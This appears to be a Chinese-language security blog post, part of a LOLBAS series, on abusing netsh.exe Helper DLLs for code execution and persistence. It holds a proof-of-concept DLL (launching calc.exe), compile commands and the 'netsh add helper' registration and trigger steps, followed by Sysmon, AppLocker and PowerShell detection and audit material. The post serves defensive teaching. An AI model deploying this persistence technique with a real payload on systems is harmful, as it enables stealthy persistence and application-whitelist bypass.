【LOLBAS鐵人賽Day16】Netsh.exe：透過 Helper DLL 注入執行惡意程式碼

910 字

5 分鐘

- views

【LOLBAS鐵人賽Day16】Netsh.exe：透過 Helper DLL 注入執行惡意程式碼

2025-09-30

Research

LOLBAS

/

Windows

/

Security

Netsh.exe 是 Windows 內建的網路設定命令列工具，
原本是用來管理網路設定防火牆規則等合法用途，
但攻擊者可以透過註冊惡意 Helper DLL 的方式，讓 netsh.exe 載入並執行惡意程式碼，
達到繞過白名單持久化駐留的目的

Netsh.exe 是什麼？#

基本功能#

Netsh 是 Windows 的網路設定工具，主要功能包括：

設定網路介面卡（IPDNSGateway）
管理 Windows 防火牆規則
設定無線網路
建立 Port Forwarding
管理 HTTP 設定

Helper DLL 機制#

Netsh 採用模組化設計，透過 Helper DLL 來擴充功能：

Helper DLL 是可以動態載入的擴充模組
每個 Helper 負責特定的網路功能（如 DHCPFirewallWLAN）
Helper DLL 會在 netsh 啟動時自動載入
攻擊者可以註冊自己的 Helper DLL 來執行任意程式碼

攻擊流程#

Step 1: 建立惡意 Helper DLL#

首先建立一個簡單的 DLL，實作 netsh 所需的導出函式：

evil_helper.cpp：

1
#include <windows.h>
2
#include <netsh.h>
3

4
// Netsh 要求的初始化函式
5
DWORD WINAPI InitHelperDll(
6
    DWORD dwNetshVersion,
7
    PVOID pReserved
8
)
9
{
10
    // malware 可以包在這邊
11
    WinExec("calc.exe", SW_SHOW);
12

13
    return NO_ERROR;
14
}
15

16
// DLL 入口點
17
BOOL APIENTRY DllMain(
18
    HMODULE hModule,
19
    DWORD  ul_reason_for_call,
20
    LPVOID lpReserved
21
)
22
{
23
    switch (ul_reason_for_call)
24
    {
25
    case DLL_PROCESS_ATTACH:
26
        // DLL 被載入時執行
27
        DisableThreadLibraryCalls(hModule);
28
        break;
29
    }
30
    return TRUE;
31
}

Step 2: 編譯 DLL#

1
# 使用 Visual Studio 的開發者命令提示字元
2
cl.exe /LD evil_helper.cpp /link /DEF:evil_helper.def
3

4
# 或使用 mingw-w64
5
x86_64-w64-mingw32-gcc -shared evil_helper.cpp -o evil_helper.dll

需要同時建立 .def 檔案來導出函式：

evil_helper.def：

1
LIBRARY evil_helper
2
EXPORTS
3
    InitHelperDll

Step 3: 註冊 Helper DLL#

將 DLL 複製到適當位置並註冊：

1
netsh add helper C:\path\to\evil_helper.dll

註冊後的登錄檔路徑：

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

Step 4: 觸發執行#

只要執行任何 netsh 命令，惡意 DLL 就會被載入：

1
# 執行任何 netsh 命令都會觸發
2
netsh interface show interface
3
netsh wlan show profiles
4
netsh advfirewall show allprofiles
5

6
# 甚至只執行 netsh 本身
7
netsh

偵測&防禦建議#

關鍵偵測指標#

1. 監控 netsh Helper 註冊

1
# 檢查已註冊的 Helper DLL
2
reg query "HKLM\SOFTWARE\Microsoft\NetSh"
3

4
# 監控註冊表修改（使用 Sysmon）
5
# Event ID 13 - RegistryEvent (Value Set)
6
# TargetObject: HKLM\SOFTWARE\Microsoft\NetSh

2. 分析 netsh 行為

netsh 載入非預期的 DLL
netsh 產生子程序（calc.exe, powershell.exe, cmd.exe）
netsh 進行網路連線到不明 IP
netsh 從非標準路徑執行

3. Sysmon 規則範例

1
<RuleGroup name="Netsh Helper Abuse" groupRelation="or">
2
    <ImageLoad onmatch="include">
3
        <Image condition="end with">netsh.exe</Image>
4
        <ImageLoaded condition="not begin with">C:\Windows\System32\</ImageLoaded>
5
    </ImageLoad>
6

7
    <ProcessCreate onmatch="include">
8
        <ParentImage condition="end with">netsh.exe</ParentImage>
9
    </ProcessCreate>
10
</RuleGroup>

防禦措施#

1. 限制 netsh 的使用

1
# AppLocker
2
$ruleName = "Block Netsh for Standard Users"
3
$appLockerPolicy = @"
4
<RuleCollection Type="Exe" EnforcementMode="Enabled">
5
    <FilePathRule Id="..." Name="$ruleName"
6
                  Description="Prevent non-admin netsh usage"
7
                  UserOrGroupSid="S-1-5-32-545" Action="Deny">
8
        <Conditions>
9
            <FilePathCondition Path="%SYSTEM32%\netsh.exe" />
10
        </Conditions>
11
    </FilePathRule>
12
</RuleCollection>
13
"@

2. 監控並移除可疑 Helper

1
# 掃描並檢查所有 Helper DLL
2
$helpers = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh" |
3
    Get-Member -MemberType NoteProperty |
4
    Where-Object { $_.Name -ne 'PSPath' -and $_.Name -ne 'PSParentPath' }
5

6
foreach ($helper in $helpers) {
7
    $dllPath = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh").$($helper.Name)
8

9
    # 檢查 DLL 簽章
10
    $signature = Get-AuthenticodeSignature $dllPath
11

12
    if ($signature.Status -ne 'Valid' -or
13
        $signature.SignerCertificate.Subject -notlike '*Microsoft*') {
14
        Write-Warning "Suspicious Helper: $dllPath"
15
        # 移除可疑項目
16
        # Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\NetSh" -Name $helper.Name
17
    }
18
}

3. 定期稽核

1
# 建立基準線 - 記錄合法的 Helper
2
$baseline = @(
3
    "C:\Windows\System32\dhcpmon.dll",
4
    "C:\Windows\System32\nshwfp.dll",
5
    "C:\Windows\System32\nshhttp.dll"
6
    # ... 其他已知的合法 Helper
7
)
8

9
# 定期比對
10
$current = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh" |
11
    Get-Member -MemberType NoteProperty |
12
    Where-Object { $_.Name -notin @('PSPath','PSParentPath') } |
13
    ForEach-Object { (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh").$($_.Name) }
14

15
$suspicious = Compare-Object $baseline $current |
16
    Where-Object { $_.SideIndicator -eq '=>' }
17

18
if ($suspicious) {
19
    Write-Host "New Helper DLL detected:" -ForegroundColor Red
20
    $suspicious | Format-Table
21
}